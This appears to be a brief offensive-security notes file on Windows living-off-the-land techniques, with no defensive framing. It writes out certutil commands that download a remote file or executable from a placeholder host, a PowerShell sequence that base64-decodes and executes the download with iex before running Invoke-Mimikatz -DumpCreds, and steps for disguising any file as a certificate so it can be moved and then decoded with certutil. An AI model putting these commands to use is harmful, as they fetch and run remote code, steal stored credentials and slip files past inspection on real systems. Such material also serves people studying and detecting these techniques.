downloader certutil powershell invoke-mimikatz

sample downloader that executed mimikatz

certutil.exe -urlcache -split -f http://somewhere/test.txt 'test.txt';

$B64 = get-content test.txt ;

$clear = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($B64));

$clear |out-file -filepath 'test.txt';

powershell -version 2 -command "iex (get-content 'test.txt'|out-string);

Invoke-Mimikatz -DumpCreds

certutil downloader

certutil.exe -urlcache -split -f https://somewhere/test.exe c:\windows\temp\test.exe

dir c:\windows\temp\test.exe

Using certutil.exe to transfer files

1.) create a file to encode/transfer

> Add-Content test.txt "a test"

2.) pack it up as a certificate before transfer

> $raw = get-content -path test.txt -Encoding Byte
> $b64 = [System.Convert]::ToBase64String($raw)
> $begin = "-----BEGIN CERTIFICATE-----"
> $end = "-----END CERTIFICATE-----"
> "$begin$b64$end"|Out-File output.txt

3.) transfer it however you like

4.) receiving end decodes it back to original state with certutil

> certutil.exe -decode output.txt decoded.txt
> get-content decoded.txt
      a test



---
explanation
- create a file you want to encode/transfer
- convert it to raw bytes
- base64 it
- wrap it into a legit certificate file

- now you can transfer it

- then on the receiving end use certutil.exe to decode it back to it's original state